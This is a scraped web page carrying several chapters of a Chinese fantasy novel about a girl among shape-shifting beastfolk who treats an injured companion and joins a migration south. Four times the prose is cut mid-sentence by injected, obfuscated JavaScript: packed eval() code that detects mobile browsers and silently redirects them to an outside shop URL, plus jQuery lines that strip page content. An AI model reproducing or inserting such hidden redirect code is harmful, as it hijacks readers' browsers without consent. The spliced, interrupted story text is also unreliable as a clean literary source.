大地的震动早已平息,角马群的脚步声也已远去,只有佐山嘶哑的哭声回荡在这片被撕裂得不成样子的草地上。
他挪动着身体跪倒在阿莱身边,用含混不清的声音不断重复着歉意。他因为起夜而错过了和大家一起离开的时机,慌乱之中还扭伤了左脚。他已经做好了被大地吞噬的准备,却没想到阿莱就像从天而降的勇士般出现在他眼前。
而后,又像他已经逝去的孩子一样无力地倒在他面前。
林千平在人群后面弄清了情况,随手把身边的莫克扯到身前,让她带着自己挤到图姊旁边。
图姊正在为悲痛欲绝的佐山敷药,她的草药知识只够应付一些基本的外伤和疾病,阿莱这样严重的情况,除了为他上些消炎止血的药材以外,她也没有更多能做的了。
林千平来到阿莱身边,劝说他变成人形,好让她检查伤口。
阿莱认出她的脸,虚弱地变成个皮肤黝黑的高瘦男人。
林千平摸了一会儿,弄清楚了骨头的走向,便让莫克脱了佐山的衣服塞进阿莱嘴里,免得他咬伤自己。
她想试着为阿莱的腿进行复位。
从前在游乐园打工的时候,林千平曾经学过一些救护知识,她大概明白复位的要领,但这还是第一次上手实践。
她在心里祈祷着,手上推拉挪转,开始将骨头对齐。阿莱咬紧兽皮衣,痛苦地挣扎起来。莫克和图姊按住了他扭动的身体,一个低头啜泣,另一个则面色严肃,紧紧盯着阿莱的腿。
过了没多久,林千平又仔细摸了两遍,有些难以置信地松了一口气。
这大概是,成功了?
余震如期而至,林千平只能暂时叫人尽量扶好阿莱的腿,等到震动平息再为他包扎。
直到太阳西斜,兽人们才小心翼翼回到营地,面对凄凉的住所收拾起他们所剩无几的家当。许多帐篷被踩烂,碎裂的餐具飞得到处都是,好在兽皮挑挑拣拣还算能用。林千平的帐篷靠近边缘,幸运地躲开了角马的踩踏,她在倒塌的兽皮堆里找到自己那个挎包似的小口袋,从里面翻出一棵小臂长的植物。
林千平又找来草绳,回到了树林外的空地上。图姊和莫克仍然守在阿莱身边,照看着他的腿。林千平接过克西临时制作出来的粗糙木板,为阿莱的小腿做好了固定。那棵合骨草一半被敷在伤处,一半被阿莱随意咽下。他似乎恢复了一些精神,眼里暗含着极轻的期待,目不转睛地注视着这个学识丰富的筎萨姑娘。
这样一通操作,林千平认为即使没有合骨草,他今后大约也不至于完全行动困难。但她仍是严肃地恐吓了阿莱一番,要他无论如何都不能取下夹板,或是让草绳松开,否则这条腿就真的保不住了。
“那我...还能有奔跑的机会吗?”他似乎听进去了这些警告,有些畏缩地小声问道。
“只要你听我的话,百分之...呃,可以。”林千平板起脸,做了个肯定的保证,好让他安心听自己的话。
克西抱起阿莱,小心地避开他的伤腿,她看着正在收拾草绳的林千平,轻轻呼唤她:“千平,走吧。”
他们带上不多的行李,把营地挪到了树林外。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254751|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
捆扎好的牧草撒落一地,一个石锅和不少木碗被踏碎,所有帐篷的兽皮还算完好,支柱几乎都不能用了。唯一值得庆幸的是,那群慌不择路的倒霉角马有好几只或撞或摔死在营地内,让他们白捡不少食物。
火塘又被重新垒起,代表希望的火焰再次跳动在所有人眼前。兽人们收拾好其中两只角马,坐下来开始为疲惫的自己烹饪晚餐。
“她们还会来收这个...那个,过路费吗?”克西看看另外两只角马,有些可惜地问道。
林千平也随着她的目光看去,那是两只体型稍小的角马,由于是自己撞死的,因此皮毛都很完整。
“会的。”她十分肯定地回答道。地震在这片区域造成的影响并不大,他们只是倒霉遇上了角马群,才遭遇了不少损失。
林千平时刻关注着四周,尤其是卓娅的动静,她打定主意要在其他人围上来之前就站到最前面,好让王清虞能把她看得一清二楚。
狮子们果真按时来了,林千平一直盯着卓娅,见她前去检查角马,立刻甩下肉串也跟了上去。
卓娅和阿祖雅在前拖着角马,林千平磕磕绊绊地跟在后面,一边伸头伸脑地想看清那些狮子的模样。
她还记得王清虞变成的狮子眼下有两道红色的竖线,便借着月光挨个细细看了过去。
不等她看清,领头的母狮就变成个陌生的金发女人。她的面部轮廓非常硬朗,一头漂亮的金棕色长发披散在脑后。她神情冷淡,语气强硬:“就这两只吗?”
“就这两只。”卓娅松开手,让角马重重落在地上。
林千平终于发现这群人当中没有她在等待的那个人,眼看着狮群就要拿走角马,她情急之下扑到了两方人当中,用手按着角马,嘴里念念有词地嘟囔起来。
金发女子皱起眉,双手抱胸,由上至下斜睨着这个瘦小的女孩:“你在干什么?”
林千平含含糊糊地念了两段歌词,心中十分后悔自己突如其来的冲动。她根本没想好要做什么,低着头懊恼地狠狠皱了皱脸。
“这些角马不是因为我们而死的,她是在为它们祈福。”阿祖雅冷不丁地在一旁开口,唬住了那几个将要上来拉扯林千平的狮子。
“是的,下午的震动导致了它们死亡。”卓娅停顿几秒,接着阿祖雅的话茬像模像样地圆上了这个说法。
头狮将信将疑地让其他人退回自己身后,眯起眼紧盯着林千平。
跪在角马面前的林千平得到了正当借口,动作夸张地胡乱挥起手来,用英语呜里哇啦背了一段课文。
她还得寸进尺地让人拿来自己的口袋,掏出一小把红色的浆果,蘸着汁液在角马身上画了几个图案。
“这是...嗯,这是带有祝福的图腾,见到它的人都会得到大地母亲的关爱,你可以让你们的族人们都欣赏...都看看,有好处的。”林千平信口胡诌了几句,随即便心虚地站起身一溜烟跑回了火塘边。
只留下两方话事人沉默着面面相觑,气氛变得异常诡异尴尬。
卓娅不清楚林千平的目的,但也只好继续替她打掩护:“就是这样,你们可以都看看。”
邑带着这两只怪模怪样的角马回到部落,狮子们的夜视能力都很不错,纷纷围上来好奇地观察那一串奇怪的图案。
王清虞被帐篷外的人声吵得心情烦躁,面色阴沉地也走出来想要看看到底发生了什么破事。
围着的狮子们为她让开了路,就见她那个性格冷淡的姐姐身前摆着两只皮毛完好的角马,身上全都歪歪扭扭地用某种红色颜料写着一行字:
KFC V50
28.兽人
一场地震,几乎让所有兽人都陷入到过去痛苦而惊慌的回忆中。
他们不敢进帐篷睡觉,全都聚在火边精神紧绷地等待着天亮。黑暗总会放大人的负面情绪,大地的震动已然消退,恐惧却仍然残余在胸间。没有人说话,也没有人合眼,就连最小的小雪兔也不安地在丙恩怀里挪动着身体。
林千平第一次经历灾难后的夜晚,沉重的氛围令她难以想象曾经那场更大的地震为这些兽人们带去过怎样的伤痛。
“这是母亲生气了,这是她要抛弃我们了...”人群里传出一道带着哭腔的声音。因惧怕而凝固的兽人们像是被浇了盆滚烫的开水般活动起来。
“我们该怎么办呢?”
有人啜泣、有人哀叹,有人掩面痛哭。疲惫的卓娅站了起来,火光下,她的表情模糊难辨,只是声音仍旧坚定:“我们问问母亲。”
她指挥起众人,很快就清理开一片空地,在火塘前整齐地摆好了两个角马头颅、一些干草和几碗水。
祭品相当简单,仪式也很粗陋。
卓娅高声说出他们的迷茫,所有人跪坐在地上,静静等待着回答。
兽人们神情严肃,体弱的披着兽皮,幼崽被抱在怀里,受了伤的阿莱和佐山则躺在几层皮垫子上,眼含热泪地望着微微泛白的天空。
简陋、随意、不成体系,却让林千平不由自主地心生敬意。
大地母亲从不苛求,大地母亲永远包容。一块肉、一把野菜,哪怕只是一捧清水都可以向母亲提问,她永远不会因物品的多寡而拒绝回答自己的孩子。
一声清脆嘹亮的鹰啸打破了草原上的寂静,所有人抬起头时,今晨的第一道阳光便打在他们脸上。火塘里的火不知何时已经熄灭了,带着露水和凉意的风刮来,吹起垒放成堆的干草,豪爽地洒向南方。
淡绿的草叶被吹开,落在地上成了一条直线,风立时停了,那些微微带着黄意的叶片显眼地铺在地上,像是一根指明方向的手指。
这究竟是命运带来的巧合,还是已被安排好的游戏流程呢?
林千平看着四周露出喜色的兽人们,有些恍然地想到。
又或许,这两者大约也没有什么不同。
阿莱的腿令他无法在其他兽人背上保持平衡,林千平琢磨了半天,决定做个简易轿子来解决这个问题。
天色大亮时,所有人才轮着休息了一会儿。下午,林千平叫上克西,准备去森林里看看能不能弄到竹子,要是实在找不到,就只能用重一些的木头凑合了。
她们很快靠近一处植被茂盛的树林,这里的树木繁茂,紧密得近乎连结在了一起。
克西在边缘的灌木丛里停下脚步,林千平以为她是想要变成人形再进去,正要翻身下虎,就被克西一个耸肩抬了回去。
她朝着身后一处密集的灌木发出低低的咆哮声,林千平坐稳身体仔细看去,却见一只脸上画着两道红痕的狮子从隐蔽处走了出来。
是王清虞!
林千平惊喜地揪了一下克西,大老虎充满攻击性的声音停顿两秒,气势显得弱了不少。
王清虞也有些激动,她变成人形,就这么顶着克西虎视眈眈的眼神走了过来。
正面观赏到狮子变成朋友的林千平仗着克西看不到她,张着嘴表情滑稽地用手比比划划:姐妹!你怎么帅成这样?!
王清虞看见她骑着老虎,头发上挂着草叶,一副粗犷的原始人打扮,顿时面色痛苦地闭上了眼——她正试图控制住自己的面部肌肉,尤其是即将高耸的苹果肌。
克西见她站在原地不动,似乎想起些什么,赶忙让林千平从背上下来,也变成人形紧张地问道:“千平,这是你的族人吗?”随后又立刻嘟嘟囔囔地回答自己:“不对啊,那她们昨天怎么没认出你?”
被挑明关系的两人顿时没了互相耍宝的心情,林千平心虚地眨眨眼,试图转移克西的注意力:“你为什么会这么觉得?”
“你们俩说话都很奇怪,那个...粪汁什么的...fen...”单纯的老虎一钓就上钩,立马开始使劲在脑子里回忆那个奇怪的词语。
“百分之?”王清虞已经来到她俩面前,嘴巴比脑子还快地猜出了答案。
“啊,就是这个!白粪汁!”克西高兴地一拍手,脸上是疑惑得到解答的畅快表情,但却没忘记最开始的问题:“什么是白粪汁?是你们原来部落的食物吗?”
她以为这两个人和自己一样,曾经跟着母亲一起生活,长大了就各自出门流浪。她也有一个妹妹,自从独立以后,已经很久没见过面了。现下能看到两人姐妹相认,克西高兴得不行,一手推一个地就要让她们拥抱一下。
林千平压根没反应过来她的脑回路,双手就自然张开,抱住了王清虞的腰。
在属于她们的那个世界里,王清虞是要比她矮上一个头的。现在林千平成了变不了身的小个子,倒换成她把脸贴在王清虞胸膛上了。
两个好朋友默契地收紧手臂,左右摇摆着身体在原地转起圈。王清虞闻到林千平臭烘烘的头发,仰着头嫌弃地大声嘲笑起来。她的笑声从微微震动的胸口传到林千平的耳边,又从头顶游到心里,令她也跟着露出笑容。
真好啊,你也来这鬼地方吃苦了!
等到紧紧相拥的二人分开,林千平都有些喘不上气了。
王清虞得知她们要找竹子,了然地表示可以由她领路去往森林:“面前这片区域里面有很多瘴气和毒虫,跟我往旁边绕一下吧。”
一人一狮一虎就这样从森林边缘绕了一大圈,穿过山石遍地的陡坡,来到一处较为开阔的河岸边。
顺着河往下游走,林千平留意着岸边排水良好的山地,直到临近傍晚,才终于在一处缓坡上找到片长势良好的竹林。
她们没有很好的工具,但好在兽人们力气都不小,用石头又砸又磨地弄断两根竹子,一只动物身上绑一根就拖了回去。岸边没什么植物和树,倒方便了她们行走。
天已经完全黑下来了,林千平趴伏在克西身上,一手护着竹子,一手揪住她的颈毛,警惕地睁着两只夜视能力几乎为0的眼睛四下观察。
小心走出森林后,行进的速度便快上许多。三人抵达营地警戒线边缘,王清虞和林千平相帮着把竹子都绑到克西身上。
竹叶扎得老虎十分刺挠,不停在原地踩着步子缓解瘙痒。林千平担心她难受,只得匆匆向好友嘱咐道:“我们要往南迁徙,还不知道去哪落脚,但反正就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259139|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是往南……你千万记住了,往南!”
王清虞反应了一会儿,赶紧朝着两步就窜到几米外的二人大声呼喊:“我要当首领!我要当首领啊啊啊啊啊啊啊啊啊!!!”
正在营地周围例行巡逻的阿祖雅恰好听见了这句豪情万丈的伟大发言,颇有些好奇地和搭班兽人打个招呼,独自往声音传来的方向悄悄前进。
不知道是什么动物在靠近,脚步声有些混乱,还带着一阵悉悉索索的草叶动静。阿祖雅警觉起来,神情严肃地轻轻小跑着,想要提前看清来的是什么东西,好决定要不要呼叫支援。
她绕开几米距离,埋伏在那道声音斜前方的位置,谨慎地从草丛缝隙间仔细观察。
月亮在她的前方,那只不明生物喘着粗气哗啦哗啦地越走越近……阿祖雅屏息凝神,终于看到——
一只有些眼熟的老虎扭着奇怪的步子左一步右一步地走来,她背上绑着两棵翠绿的细树,枝叶间似乎还有一张模糊的人脸。
老虎似是终于忍耐不住般呜嗷呜嗷地叫起来,她头顶的那些植物便也跟着开口说话了:“加油!快到了快到了!马上啊很快我就给你挠痒痒!”
阿祖雅认出这是林千平的声音,警告危险的狼嚎就这样变成一道小狗般的微弱哼唧声,她毛茸茸的脸上有些发烫,甩了甩毛便走出去为她们引路。
克西晕头转向地跟着阿祖雅回到营地,卸下竹子就变成人形不停换着姿势抓痒。林千平帮着给她抓身体,没两下就嵌了一指甲的皮屑,看得自己都浑身难受起来。
这一路上的水源地不是太危险,就是离营地有些距离,她也已经很久没洗澡了啊!
原本已经强迫自己淡忘个人卫生标准的林千平此时被这么一刺激,连发现竹子的喜悦心情都荡然无存。正好现在也天黑了,她放纵自己吃了一顿莫克大厨精心制作的蔫巴野菜炒寡淡肉片,又一次怀念着干锅包菜红烧排骨酸辣土豆丝麻辣小龙虾、火锅炸鸡烤全羊、披萨寿司汉堡包……沉沉睡去。
王清虞的豪言壮志自然不是作假,她的确非常渴望成为丛狮部落的首领,或者其他什么地方的首领都行,只要能完成这个该死的任务。
她变成只成天都要板着脸装威风的狮子也不过半个月,偷偷摸摸地改善了一下自己的生活和卫生,随便提了几个建议就被现任首领任命为强有力的接班人,她眼下的红色标记就是为了提醒其他族人们她不寻常的身份。
这看起来似乎是件好事,只要等到黍卸任她就能顶上去了。但没想到这回她的任务居然也出现了一年的时间限制,而要等到现在仍旧身强体壮的黍在一年内放弃首领身份,那几乎就是在做梦。
可如果要用挑战的方式得到首领位置的话,又必须得用兽形战斗。王清虞虽然学过防身的格斗术,但都是用人形练习的,她当狮子的时间比黍喝奶的时间都短,哪里打得过人家!
半个月来,她甚至没有勇气真的亲自咬杀猎物,最近已经有族人暗暗开始质疑她的能力了。
王清虞走进黍的帐篷,里面十分宽敞,铺着兽皮的地面正围坐着黍和几位老人。
她们的谈话似乎已经接近尾声,黍的语气中带着些轻快:“你们决定了?...那好,咱们也往南走!”
29.兽人
帐篷里没有光源,因此有些昏暗。王清虞在入口附近悄悄坐下,静静地看着他们讨论往南前行的路线计划。
部落得到动物往南迁徙和植物大面积枯死的消息后就曾派人去核实情况。最近前往北方探查的两个族人回来了,带来的消息不太乐观。他们甚至没能靠近那道巨大的地裂,就因食物短缺不得不紧急返回。假如林千平他们的队伍再晚离开几天,说不定就能亲眼见证北方草原的急速死亡。
黍不是会因某些传统或规矩而固步自封的人,相反,一名合格的首领最重要的任务就是保证族人的生存、种族的延续。因而当她有了迁移部落的念头时,很快就行动了起来。
搬运盐石、腌制咸肉、理清家当,这样的工作开始得很早,甚至早于她向部落中其他人宣布迁移消息的时候。
现下探索队归来,大地的震动也将一些不愿离开的老人说服,她们不久就能立刻上路。
帐篷里的其他人陆续离开,只剩下王清虞和她的首领母亲。她走到黍身边坐下,面无表情地等待对方开口。黍个性豪爽开朗,两个女儿却不知为何性格一个赛一个的冷淡。王清虞为了不被发现异常,每天只能摆着张臭脸一言不发,就这样还经常被黍问起最近是不是有什么开心的事发生。
黍的脸上用同样的红色浆果画着两道横向直线,五官和邑几乎是一个模子里倒出来的,王清虞却只有面部轮廓能找到几分她的影子。
“我们马上也要往南走,那群外来兽人...就别管他们了。”黍也听说了那只队伍受到地震影响有人重伤,接下去说不定会在路途中和他们碰面,关系还是别处得那么僵才好。
王清虞冷着脸点点头,压下愉悦的心情,但仍忍不住有些期待地提议道:“那我们不如就和他们一起上路?”
黍没来得及回答,一道突兀的冷硬声音就在帐篷门口响起:“我不同意。”
邑走到黍的身边,面对着王清虞坐下。她神情严肃,盯着王清虞看了一会儿,才转头向黍继续表达意见:“那支队伍的首领是个食草兽人,还有两个人伤到了脚,带着他们走只会让我们饿死在路上。”
她对这片土地没那么深的感情,往南迁移她也没意见,邑只是单纯不喜欢和没用的食草兽人一起行动,连带着便对提出这个想法的王清虞都不满了起来。她这个妹妹还算聪明,虽然打不过自己,但要做好首领倒也不是只靠强壮会打架就能成的。
邑本来懒得和妹妹争抢那个位置,可王清虞最近似乎太过在意那群外来的弱小兽人,这令她又萌生出一些自己当首领的念头来。她毫不怀疑若是王清虞当上了首领,部落里真就会多出一打只懂得挖地吃草的食草兽人了。
王清虞撇开头不与她对视,愤愤地在心里翻了个白眼,对原始人也搞种族歧视的行为表示无言以对。
黍有些犹豫,她的见识要强于邑,自然明白食草兽人并不像她所设想的那般孱弱无用,只是那支队伍的确容易拖慢他们的迁移进度。
要带着整个部落搬迁也不是件容易的事,黍虽然有心与这群未来的同路者打好关系,却也不愿真的耽误自己部落的行动。
沉默良久,她才状似随意地说道:“他们要是能追上我们,你也不能拦着不让人家一起走嘛。”接着便率先站起身结束这个话题,拉起两个女儿推着她们去吃饭:“到时候再说,先吃东西!”
竹子实际上是一种生命力极其旺盛的速生草本植物,在林千平的老家几乎长得到处都是。阿婆家房后不远处就有一片竹林,镇上很多人家都会做些竹制品换钱用。
熟练掌握竹品制作技巧的林千平蹲在被砍去枝条的两根大竹面前,用绳子丈量着尺寸,准备做个简单的竹轿子。
切割竹子太麻烦,她曾经也想过干脆做个担架算了。只是一时间想不出很好的办法固定兽皮,轿子扛起来也比担架更舒服,就算散架了也不至于让阿莱的腿二次受伤。
卓娅是队伍中力气最大的兽人,如果不是因为直接掰折会让竹子开裂,她完全可以像折断一棵牧草般随手掰开这些竹子。她和另外几个食草兽人陪在林千平身边,花一天的时间做好了一个双人抬的竹轿子。
一个简陋的靠背椅、两根固定在旁边的长竹竿,就能让两个兽人轻松地扛着阿莱前进,速度是稍微慢了些,但仍比林千平的脚程要更快。
所有人都很高兴,晚饭时全围着这件新东西好奇地看个不停。佐山的脚伤恢复得不错,今天已经消肿,正杵着个棍子一瘸一拐地在人群里维持秩序。他对于这个能带上阿莱前进的工具十分上心,连帐篷都搭在了轿子附近,大约是想整夜都守在旁边看管。
阿莱下午已经试坐过轿子,抬起来时有些晃动,但他的平衡能力非常出色,很快就不再惊慌。他对于自己需要让两个人帮忙才能上路的事感到相当羞愧,却也难掩他发现自己没被大家抛弃时的惊喜。
此时他正靠坐在火塘边,受伤的腿被两根交叉戳在地上的木棍高高支起,一副马上就要被架到火上烧烤的样子。林千平和图姊对着他的腿研究起伤势状况,阿莱的腿没有其他外伤,应该不需要经常换药,只等骨头自己慢慢长好就行。
让林千平意外的是,被水和成糊状敷在伤处的合骨草全都消失不见了,就好像阿莱的皮肤将药渣都吸收了一样,兽皮上只摸得到些微湿润的痕迹。
夹板不像有人动过,阿莱今天也都在林千平的视线范围内,这草难道真的这么神奇?林千平立时后悔起来,当时怎么没多找找周围还有没有呢?神药啊这是!
睡觉之前,她转圈问遍所有食草兽人,他们全没听过或是见过长得那么奇特的植物。林千平无法,只能拜托大家若是在野外发现了这种草,千万得摘下来保存好——最好能连根挖来。
轿子的用处实在显著,大家轮流扛着阿莱前进,速度和平时几乎没什么区别。
附近的动物仍在逐渐减少,草原上除了偶尔的鸟类飞过,又只剩下这支孤独的队伍。就好像他们走到哪里,就把寂静带到了哪里。
林千平还没忘记那半袋发芽的土豆,她挑出为数不多还未腐烂的个体,切下芽眼又裹好草木灰,一路走,一路种了过来。
虽然不知道能不能成活,但至少没有浪费这些宝贵的种子。她渴望能再找到些土豆填肚子,可假若这块草原没有,那就由她带来吧。
说不定以后还要再走这条路呢?她苦中作乐地想到。
走了两天,队伍绕过那片树林密布、遍地毒虫的区域,靠近一处布满岩石的山地,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263872|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这正是王清虞曾经领着她们进入森林的小路。
远远走在前面探路的阿祖雅突然让小狼回来叫停了队伍,所有人都警惕地或蹲或趴,坐在轿子上的阿莱也被放到地面上,正试图把自己摊平在椅子里躲好。
传话的阿克拉来得很快,他带回来的消息让大多数人都心里一紧:那群狮子正在经过前方的山地,看起来似乎也要向南迁移。
克西由于林千平和王清虞的关系,对丛狮部落的印象已经没那么差。但在其他人眼里,那些狮子就是群傲慢又讨厌的家伙。
卓娅虽然明白狩猎区的敏感性,理解她们索要猎物的行为,却也会对那几只狮子高傲的态度感到不悦。如果可以,她的确不想再和这些人有更多的接触,只是进入森林的安全通道就这么一条,或早或晚,她们最终都会发现跟在后方的队伍。
她一时拿不定主意,便让阿克拉再去把阿祖雅叫回来。
林千平趴到克西脑袋上,贴着她的耳朵悄声嘱咐道:“咱们的人现在不喜欢那些狮子,你可别把我和...我朋友的事说出去啊!”
克西抖抖耳朵,从鼻子里哼出道轻轻的呼噜声,示意自己听懂了。
“她们当中有些人不擅长走山石地,行动得很慢。”阿祖雅变成人形跑到卓娅身边,示意所有人不必紧张,他们暂时还没被发现。
卓娅此时已经想清利害关系,但仍先征求起阿祖雅的意见:“你觉得我们该怎么办?”
“在没弄清她们的态度之前,咱们不能就这么跟上去。”阿祖雅很谨慎,她在前几次会面的时候就察觉到了,那些狮子兽人几乎全是英勇无比的战士。她们训练有素、配合默契,个体战斗力又比小狼们强上不少,这些人若是真想发动攻击,自己这支简陋的队伍根本没有多少胜算。
卓娅最终决定原地休息等待,至少先与对方稍微拉开些距离再进入森林。
林千平见大家纷纷开始卸下行李,心里有些急躁,快步走到一棵树下试图看清他们之间的距离。
那群狮子们居然也要往南走,她的第二个任务目标这不就送上门来了吗?怎么还能让它跑了!
林千平搬出为阿莱寻找草药的借口,叫上克西就朝那个山口靠近。她想试试能不能把王清虞引出来问问情况,最好能打听清楚狮子首领的意见,好让她有机会和他们聊聊一块儿上路的事情。
再强悍的部落也总会有需要帮助的时候吧?多一个朋友多一份助力嘛!林千平在心中打着腹稿,跟在克西后边蹑手蹑脚地前进。
王清虞正好在队尾负责警戒和清点人数,她没在部落附近见到林千平的队伍,特意找到其他族人换来这个岗位。如果不能在开阔的草原上汇合,等进入森林后可就再难相遇了。
她游荡在队伍旁边,动作缓慢地绕着圈往前走,心下焦急地四处张望。
其他人的注意力都在脚下尖锐且杂乱的石堆上,和她一起警戒的伙伴也都忙着帮助背负行李的族人保持平衡。
忽然间,有些树叶砸在视线斜后方的位置,被王清虞敏锐地捕捉到了。
她小跑着走近去看,一枝翠绿的竹叶掉在棵阔叶树下,有个尖尖细细的幽怨声音传进耳朵里:“这位女士,请问你是不是掉了一个好朋友呢?”
30.兽人
那声音是从树顶传下来的,王清虞随意瞟了两眼,又变成人形背对着树原地蹲下,眼神紧紧盯着队尾快要爬上石头的同伴:“你们人呢?快进林子啊!”
“你那个过路费收得他们都不敢跟上去了!...你部落到底什么情况,不会我们一上来就真开打了吧?”
“不是...情况有点复杂,但反正首领没那个意思,你快想办法说服他们吧,进了森林就不好找了!”王清虞急着跟上队伍,变成狮子就要匆匆离开。
“喂!”林千平扒开树叶,却只瞧见王清虞跑远的身影。
克西在另一棵树下望风,她五感灵敏,原形又是潜行能力十分出众的猫科动物,很快就发现了从身后追来的灰狼。林千平和王清虞说话时,她有心想上去提醒,却又害怕让来人知道她俩的秘密关系,忠诚但不善于撒谎的老虎朋友急得直扣树皮,指甲都差点被她磨光。
阿祖雅追上克西,正要提醒她顺路去找找水源,一只从前方快速离开的狮子就吸引了她的注意力。她担心克西想要做些什么傻事,连忙上前化作人形,拽住她扣着树干的手:“克西,你要做什么?”
阿祖雅的语气又急又快,听在克西耳朵里就变成了带着怒意的质问,她苦着脸咿咿啊啊地支吾着,视线不自觉又飘向从对面树上下来的林千平。
“... ...”林千平还挂在树干上正要下到地面,就和阿祖雅漂亮的蓝眼睛对上视线。
“你是说,那个狮子是特意来讲和的吗?”阿祖雅听完林千平紧急瞎编的故事,很快就接受了她的说法。卓娅本就有与他们同行的意思,现下有人主动来递台阶,阿祖雅虽然不想和狮子们起冲突,但也并不代表她就十分反对建立合作关系。
林千平见她态度缓和,赶紧趁热打铁:“我不小心跑进她们队尾的范围,随口就问了两句...人家态度可好了,她们首领也没有要打架的意思,都忙着搬家呢。”
“再说了,森林里肯定聚着不少动物和兽人,遇到危险了咱们不是还能互相帮助嘛?”
阿祖雅低头陷入沉思,她已经被林千平说服,正在思考着两支队伍间的距离问题。林千平以为她还在犹豫,又拿出过时不候的推销话术刺激她:“再不快些行动,等他们进了森林就更找不着啦!现在这会儿我和克西去盯着,很快就能跟上!”
林千平最终还是跟着阿祖雅回到了队伍里,和莫克的弟弟一起趴在大黑熊的背上全速前进。克西在最前面注意着狮子们的动向,小狼队则在中间负责警戒和传话。
也有兽人质疑起这个决定,但都被林千平磨着嘴皮子给说服了。她趴在莫克的背上,从互相帮助的幼儿园故事讲到合作共赢的必要性,听得趴在她身前的小熊都烦得要拿爪子杵她。
阿祖雅将两队之间的距离限定在了一个正好看得到彼此的范围内,狮子们很快发现了这支还带着个断腿兽人的队伍。正如林千平所说,她们只是多看了两眼被高高抬着的阿莱,就不再有更多其他动作了。
他们即将进入的这片森林,气候湿热、植被密布,最外围的一圈长有许多毒虫毒草,常年弥漫带有腥臭味气的瘴气,阻碍着外来动物们进入森林的脚步。附近仅有一条靠近山地的乱石路可以通往林中的河流,河岸边较为开阔,不受毒气的影响。
这条石头路并不算好走,但林千平的队伍里有不少曾经生活在山地森林里的兽人们,因此他们甚至需要特意慢下速度,才能维持与前方狮子队之间的距离。
好在山路并不很长,中午将过就走到了宽阔的河岸边。周围的生物肉眼可见地丰富了起来,常有繁杂的鸟叫或虫鸣在耳边响动。对比生命几近绝迹的草原,这样热闹的森林显然更能令疲惫紧张的兽人们愉快起来。
傍晚,两支队伍都选择在远离河岸的高地扎营,这里距离林千平上次砍竹子的地方不远,恰好有片还算平坦的空地,足以让两方不远不近地休息在一起。
森林是老虎的绝对主场,克西撂下林千平就兴冲冲地一头扎进没有瘴气笼罩的区域找吃的去了。阿祖雅只带走了一半灰狼,剩下的仍作为警戒战力围绕在营地周围。
林千平看着山坡下奔涌的河水,想洗澡的心情达到了顶峰。她跃跃欲试地盯着那条河,思考着拿兽皮口袋盛水的可能性。
“你拿口袋做什么?”卓娅正在帮忙扎帐篷,周围还有几个兽人在忙活。
林千平凑到她身边小声提出了想洗澡的请求,卓娅了然地点点头,慷慨地拿出一块相对柔软的羊皮,让她直接用石锅打上水,到附近的树林里洗。
兽人们对洗澡这件事没有那么执着,通常也只会在足够安全和放松的情况下才会考虑这件事。像他们这样一路匆忙向前奔袭的队伍,除了会自主清洁的猫科动物外,很少有人还能分出心思注意这样无关紧要的小事。
躲进树丛,林千平把水撩在羊皮上,使劲搓了搓身上的灰泥,凑合着擦洗了一番。她小心地注意着四周,手上动作不停,时不时也盯着身前的植物细细打量。
擦干净身体,她便伸手去够挂在灌木上的兽皮衣。一边穿上衣服,眼神仍旧四散在周围,想要找到些能用来洗头的植物。身上干搓倒是无所谓,脑袋发痒可就得用些有清洁力的东西来洗了。
四下巡视无果,林千平悻悻地冲了冲头,端起沉重的石锅就想往回走。这一动作,枝叶缝隙里一抹颜色奇异的草就闯进了她的视线。
自从找到合骨草以后,林千平就对那种独特的能力念念不忘,采集时也经常会特意去接触某些不认识的植物。
上一次就让她找到了那种能做红颜料用的美味浆果,因而这回一见到这种从长相上看就非常不一般的小草,林千平的心情立时又激动起来。
那棵草有点像分了好多枝杈的蕨菜,每个分支的头部弯成个小圆圈,整棵草由下至上呈现出深绿、大红、浅黄的渐变色彩,跟个小型圣诞树一样。
林千平放下石锅和羊皮,谨慎地注意着脚下的草丛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273837|197580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
